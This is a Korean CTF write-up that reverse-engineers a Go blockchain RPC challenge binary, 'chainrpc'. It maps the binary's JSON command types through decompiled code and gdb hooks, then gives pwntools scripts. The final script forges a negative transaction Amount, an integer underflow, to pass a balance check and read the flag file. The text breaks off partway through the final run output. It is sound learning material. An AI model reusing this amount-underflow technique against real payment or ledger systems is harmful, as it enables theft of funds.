checksec
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ checksec ./chainrpc [*] '/home/ubuntu/hto2024/chainrpc/chainrpc' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Analysis
실행하고, 그냥 엔터치니까 JSON 내용을 입력해줘야하는듯.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc Failed to parse input as JSON: unexpected end of JSON input Failed to run command: unexpected end of JSON input Failed to parse input as JSON: unexpected end of JSON input Failed to run command: unexpected end of JSON input
{}
입력 결과 → args is nil
에러.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {} Failed to execute command: args is nil Failed to run command: args is nil
chainrpc_pkg_command_ExecuteCommand
함수에서 검사함.
__int64 __golang chainrpc_pkg_command_ExecuteCommand( __int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6, int a7, int a8, int a9) { ... if ( !a2 ) { fmt_Errorf((unsigned int)"args is nil", 11, 0, 0, 0, a6, a7, a8, a9, v85, v93, v101); return 0; } ...
args
구문 추가해줬더니 에러 안뜸(단 아무 출력이 없음). 유효한 구문인듯싶음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"args": "DDDD", "A":"BBBB", "B": true, "C": 1337}
a2
인 rbx
값을 확인해보면 ,”DDDD”
로 넣어놨던 0x44444444
가 들어가있음. 따라서 에러 안뜨는데 맞다.
>>> [START hook at chainrpc_pkg_command_getArgType (0x4EA0E0)] RIP = 0x4ea0e0 args = {'rip': '0x4ea0e0', 'rax': '0x4f7140', 'rbx': '0xc000014100', 'rcx': '0xc0000140f0', 'rdi': '0x0', 'rsi': '0x18', 'r8': '0x4faf00', 'r9': '0xc0000140f0', 'r10': '0x18', 'r11': '0x98'}
(gdb) x/gx 0xc000014100 0xc000014100: 0x000000c000012158 (gdb) x/gx 0x000000c000012158 0xc000012158: 0x0000000044444444
golang에서 JSON을 파싱 하기 위해서는 struct 작성 필요.
“args” 스트링을 검색해봤더니 아래 텍스트가 눈에 띔.
.rodata:00000000004F08CD 00000010 C Args\vjson:\”args\”

해당 주소의 인접해있는 JSON 키값들을 봤을때, 다음 3가지 키를 받아옴.
- type
- args
- from

type 키 값이 유효하지 않음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType ^C ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"args": "BBBBBBBB", "from": "CCCCCCCC"} (NO OUTPUT)
type 키값 타입은 정수형이여야 함.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType ^C ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": true, "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to parse input as JSON: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType Failed to run command: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType ^C ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"} (NO OUTPUT)
type이 1337일때, chainrpc_pkg_command_ExecuteCommand
함수 호출시 rax 레지스터로 들어감
{"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"} >>> [START hook at chainrpc_pkg_command_ExecuteCommand (0x4EA200)] RIP = 0x4ea200 args = {'rip': '0x4ea200', 'rax': '0x539', 'rbx': '0xc0001860a0', 'rcx': '0xa', 'rdi': '0x10', 'rsi': '0x0', 'r8': '0x0', 'r9': '0x0', 'r10': '0xc000184028', 'r11': '0x0'}
type이 1일 경우.
{"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"}
새 계정 생성.
// chainrpc/pkg/command.NewAccount __int64 __golang chainrpc_pkg_command_NewAccount( __int64 a1, int a2, __int64 a3, __int64 a4, __int64 a5, int a6, int a7, int a8, int a9) { __int64 v9; // rax int v10; // eax int v11; // r8d int v12; // r9d int v13; // r10d int v14; // r11d v9 = chainrpc_pkg_account_NewAccount(a1, a2, a3, a4, a5, a6, a7, a8, a9); if ( v9 ) v9 = *(_QWORD *)(v9 + 8); v10 = encoding_json_Marshal(v9, a2); if ( a4 ) return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5); else return runtime_slicebytetostring(0, v10, a2, 0, a5, v11, v12, v13, v14); }
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"} {"privateKey":"Rr8LOacVtLwQV1yyOgIS8qAWTNtdZMsXiXZEveluWwNvuWF+slvRyTgbpbWpJhdu5vwlTZhb6qi33IF6Cibbww==","publicKey":"b7lhfrJb0ck4G6W1qSYXbub8JU2YW+qot9yBegom28M=","balance":0}
type이 2일 경우.
not implemented
패닉 발생
// chainrpc/pkg/command.ExecuteCommand __int64 __golang chainrpc_pkg_command_ExecuteCommand( __int64 type, __int64 (__golang *a2)(__int64, __int64), __int64 a3, __int64 a4, int a5, int a6, int a7, int a8, int a9) { ... if ( _type == 2 ) runtime_gopanic( (unsigned int)qword_4F7140, (unsigned int)&off_543F40, 2, (unsigned int)"\b", v11, v22, v23, v24, v25); ...
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 2, "args": "BBBBBBBB", "from": "CCCCCCCC"} panic: not implemented goroutine 1 [running]: chainrpc/pkg/command.ExecuteCommand({0xc000112000?, {0xc000012170?, 0x400?, 0x34?}}) chainrpc/pkg/command/command.go:102 +0x4c5 chainrpc/pkg/command.Run({0xc000112000?, 0x20?}) chainrpc/pkg/command/command.go:249 +0xa5 main.main() ./main.go:26 +0x276
type이 3일 경우.
{"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"}
{"type": 3, "args": "flag", "from": "CCCCCCCC"}
파일을 불러오는듯 싶으나, 내용을 출력해주진 않음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"} Loading blockchain from file open BBBBBBBB: no such file or directory ^C ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 3, "args": "flag", "from": "CCCCCCCC"} Loading blockchain from file invalid character 'l' in literal false (expecting 'a')
// chainrpc/pkg/command.LoadChainFromFile __int64 __golang chainrpc_pkg_command_LoadChainFromFile( int a1, __int64 a2, int a3, __int64 a4, __int64 a5, int a6, int a7, int a8, int a9) { __int64 ChainFromFile; // rax __int64 v10; // rcx int v11; // ebx int v12; // eax int v13; // ecx int v14; // r8d int v15; // r9d int v16; // r10d int v17; // r11d _QWORD *v18; // rax int v19; // r8d int v20; // r9d int v21; // r10d __int64 *v22; // r11 __int64 v23; // rdx int v25; // [rsp+8h] [rbp-18h] __int64 v26; // [rsp+10h] [rbp-10h] ChainFromFile = chainrpc_pkg_chain_LoadChainFromFile(a1, a2, a3, a4, a5, a6, a7, a8, a9); if ( a2 ) return (*(__int64 (__golang **)(__int64))(a2 + 24))(v10); v26 = ChainFromFile; v11 = ChainFromFile; v12 = encoding_json_Marshal((int)"\b", ChainFromFile); if ( a4 ) return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5); v25 = v12; v18 = (_QWORD *)runtime_newobject(qword_504F20, v11, v13, 0, a5, v14, v15, v16, v17); *v18 = &off_545610; if ( dword_653FE0 ) { v18 = (_QWORD *)runtime_gcWriteBarrier1(v18); v23 = v26; *v22 = v26; } else { v23 = v26; } v18[1] = v23; if ( dword_653FE0 ) { v18 = (_QWORD *)runtime_gcWriteBarrier2(v18); *v22 = (__int64)v18; v22[1] = qword_5F34F8; } qword_5F34F8 = (__int64)v18; return runtime_slicebytetostring(0, v25, v11, 0, a5, v19, v20, v21, (_DWORD)v22); }
type이 4일 경우.
{"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"}
ArgType이 3이여야 함.
__int64 __golang chainrpc_pkg_command_ExecuteCommand( ... ArgType = chainrpc_pkg_command_getArgType(*v109, v20, (__int64)v109, (__int64)"\b", v11, v16, v17, v18, v19); ... if ( ArgType != 3 ) { LABEL_35: fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91); return 0; }
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to execute command: invalid arg type Failed to run command: invalid arg type
chainrpc_pkg_command_getArgType
은 리턴값은 다음과 같음.
- number type → return 0;
- string type → return 1;
- boolean type → return 0;
- {} object type → return 3;
- [] array type → return 4;
- null → return 5;
즉 type 키 값 타입은 {} object 여야함.
ArgType이 3 충족시, chainrpc_pkg_command_LoadChainFromJSON
호출.
if ( ArgType == 3 ) { v37 = (int)v104; v38 = runtime_slicebytetostring( (unsigned int)&v100, (_DWORD)v104, v102, (unsigned int)"\b", v11, v22, v23, v24, v25); return chainrpc_pkg_command_LoadChainFromJSON(v38, v37, v39, (unsigned int)"\b", v11, v40, v41, v42, v43); }
함수 이름을 유추해봤을때, args
키값에 blockchain.json 내용을 넣으면?
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 4, "args": blockchain_data, "from": "CCCCCCCC" } #stage 1 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
방금 보낸 blockchain 내용이 반환됨.
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
type이 5일 경우.
ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_LoadAccount
호출.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 5, "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to execute command: invalid arg type Failed to run command: invalid arg type
if ( ArgType != 3 ) { LABEL_35: fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91); return 0; } result = chainrpc_pkg_command_LoadAccount(_type, (__int64)v104, v102, v103, v11, v22, v23, v24, v25);
함수 이름을 유추해봤을때, args
키값에 account.json 내용을 넣으면?
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 5, "args": account_data, "from": "CCCC" } #stage 2 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
blockchain not initialized
에러 발생.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2.py [+] Starting local process './chainrpc': pid 6433 [+] payload: {"type": 5, "args": {"privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "asdf"} [*] Switching to interactive mode Failed to get blockchain: blockchain not initialized Failed to execute command: invalid account Failed to run command: invalid account
그러면 type 3인 chainrpc_pkg_command_LoadChainFromJSON
호출을 먼저하고, 다시해보자.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json # p = remote("127.0.0.1", 1337) p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 4, "args": blockchain_data, "from": "CCCC" } #stage 1 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 2 payload = json.loads(payload) payload["type"] = 5 payload["args"].update(account_data) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
성공적으로 수행한듯 싶다. 아래 메시지가 나타난다. Checking transaction
Valid account. Restore Complete
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2_1.py [+] Starting local process './chainrpc': pid 6455 [+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"} [+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"} [*] Switching to interactive mode {"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]} Checking transaction Valid account. Restore Complete {"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
type이 6일 경우.
ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_SendTransaction
호출.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 6, "args": "BBBBBBBB", "from": "CCCCCCCC"} Failed to execute command: invalid arg type Failed to run command: invalid arg type
if ( _type == 6 ) { if ( ArgType != 3 ) goto LABEL_35; v106 = (__int64 (__golang *)(__int64, __int64))runtime_newobject("(", v20, 6, (int)"\b", v11, v22, v23, v24, v25); if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v106, v45, v46, v47, v48) ) return 0; else return chainrpc_pkg_command_SendTransaction( *(_QWORD *)v106, *((_QWORD *)v106 + 1), *((_QWORD *)v106 + 2), *((_QWORD *)v106 + 3), *((_QWORD *)v106 + 4), v49, v50, v51, v52, v85, v88, v91);
type3인 chainrpc_pkg_command_LoadChainFromJSON
,
type4인 chainrpc_pkg_command_LoadAccount
,
차례로 호출후에 transaction 함수 이름을 생각해봤을때, 관련 내용이 들어가야할 것 같아
blockchain.json 파일 내용에 있는 transactions 0번째 인덱스 구문을 넣어봤다.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json # p = remote("127.0.0.1", 1337) p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 4, "args": blockchain_data, "from": "CCCC" } #stage 1 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 2 payload = json.loads(payload) payload["type"] = 5 payload["args"].update(account_data) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 3 payload = json.loads(payload) payload["type"] = 6 payload["args"].update(blockchain_data["blocks"][0]["transactions"][0]) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
그랬더니 account not found 에러 발생.
... Valid account. Restore Complete {"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50} account not found
이번에는 blockchain.json 파일 내용에 있는 transactions 1번째 인덱스 구문을 넣어봤다.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json # p = remote("127.0.0.1", 1337) p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 4, "args": blockchain_data, "from": "CCCC" } #stage 1 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 2 payload = json.loads(payload) payload["type"] = 5 payload["args"].update(account_data) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 3 payload = json.loads(payload) payload["type"] = 6 payload["args"].update(blockchain_data["blocks"][0]["transactions"][1]) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
성공적으로 수행한듯 싶다. 아래 메시지가 나타난다.
Sending transaction
... Valid account. Restore Complete {"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50} Sending transaction
type이 7일 경우.
ArgType이 1, 즉 “args” 키 값 타입은 string이여야함.
아래 함수를 호출함.
encoding_base64__ptr_Encoding_DecodeString
chainrpc_pkg_shorthash__ptr_digest_Write
chainrpc_pkg_shorthash__ptr_digest_Sum
runtime_convTslice
fmt_Sprintf
%x
문자열을 보아하니 어떠한 16진수값을 출력하는듯.
if ( _type != 7 ) return 0; if ( ArgType != 1 ) goto LABEL_35; v53 = (__int64 (__golang *)(__int64, __int64))runtime_newobject( qword_4F7140, v20, 7, (int)"\b", v11, v22, v23, v24, v25); v107 = (unsigned __int64 *)v53; *(_QWORD *)v53 = 0; v54 = (__int64)v53; if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v53, v55, v56, v57, v58) ) { return 0; } else { v63 = *v107; v64 = encoding_base64__ptr_Encoding_DecodeString( qword_5F3500, *v107, v107[1], (unsigned int)"\b", v54, v59, v60, v61, v62); if ( "\b" ) { return 0; } else { v95 = 0; v96 = 0; v97 = 0; v98 = 0; v99 = 0; chainrpc_pkg_shorthash__ptr_digest_Write((__int64)&v95, v64, v63, v65, v54, v66, v67, v68, v69); v74 = chainrpc_pkg_shorthash__ptr_digest_Sum( (unsigned int)&v95, 0, 0, 0, v54, v70, v71, v72, v73, v85, v88, v91); v105 = v9; v80 = runtime_convTslice(v74, 0, v75, 0, v54, v76, v77, v78, v79, v86, v89, v92); *(_QWORD *)&v105 = &unk_4F61C0; *((_QWORD *)&v105 + 1) = v80; return fmt_Sprintf((unsigned int)"%x", 2, (unsigned int)&v105, 1, 1, v81, v82, v83, v84, v87, v90, v93, v94); } }
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc {"type": 7, "args": "BBBBBBBB", "from": "CCCCCCCC"} 1f131f15
type이 1~7 그 외인 경우.
NO OUTPUT. 아무것도 출력되지 않음.
Flag 어딨나?
문자열 검색해보니 chainrpc_pkg_account._ptr_account.SendTransaction
함수에서 참조.
.text:00000000004E8A3D chainrpc_pkg_account._ptr_account.SendTransaction 48 8D 05 95 CB 02 00 lea rax, aFlag ; "flag”
math_big__ptr_Int_Cmp
에서 비교함, 보내는 양이 99999999
인지 확인.
_UNKNOWN **__golang chainrpc_pkg_account__ptr_account_SendTransaction( ... else { v63 = *(void (__golang **)(__int64, __int64, __int64, _QWORD *))(v58 + 40); v63(v59, v52, v51, v61); v110 = 99999999; v114 = 0; v116 = 1; v117 = 1; v115 = &v110; if ( math_big__ptr_Int_Cmp(a1[6], (unsigned int)&v114, v64, (_DWORD)v61, (_DWORD)v63, v65, v66, v67, v68) <= 0 ) return 0; File = os_ReadFile((unsigned int)"flag", 4, v69, (_DWORD)v61, (_DWORD)v63, v70, v71, v72, v73, v99, v105); if ( !v61 ) { v129 = v9; v79 = File; v80 = runtime_slicebytetostring(0, File, 4, 0, (_DWORD)v63, v75, v76, v77, v78); v86 = runtime_convTstring(v80, v79, v81, 0, (_DWORD)v63, v82, v83, v84, v85, v100, v106); *(_QWORD *)&v129 = qword_4F7140; *((_QWORD *)&v129 + 1) = v86; fmt_Fprintln((unsigned int)&off_544A80, qword_5F34E8, (unsigned int)&v129, 1, 1, v87, v88, v89, v90); return 0; } return (_UNKNOWN **)v61; }
int 언더플로우를 통해
보내는 양 Amount를 int 최소값 - 요구값 99999999
으로 수정하면 flag 내용을 얻을 수 있었다.
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import json # p = remote("127.0.0.1", 1337) p = process("./chainrpc") s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) with open('blockchain.json', 'r', encoding='utf-8') as f: blockchain_data = json.load(f) with open('account.json', 'r', encoding='utf-8') as f: account_data = json.load(f) payload = { "type": 4, "args": blockchain_data, "from": "CCCC" } #stage 1 payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 2 payload = json.loads(payload) payload["type"] = 5 payload["args"].update(account_data) payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) #stage 3 payload = json.loads(payload) payload["type"] = 6 payload["args"].update(blockchain_data["blocks"][0]["transactions"][1]) amount = payload["args"]["Amount"] success(f"orig amount: {amount}") payload["args"]["Amount"] = -2147483648 - 99999999 amount = payload["args"]["Amount"] success(f"new amount: {amount}") payload = json.dumps(payload) success(f"payload: {payload}") sl(payload) p.interactive()
Result
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test3_2.py [+] Starting local process './chainrpc': pid 6694 [+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"} [+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": 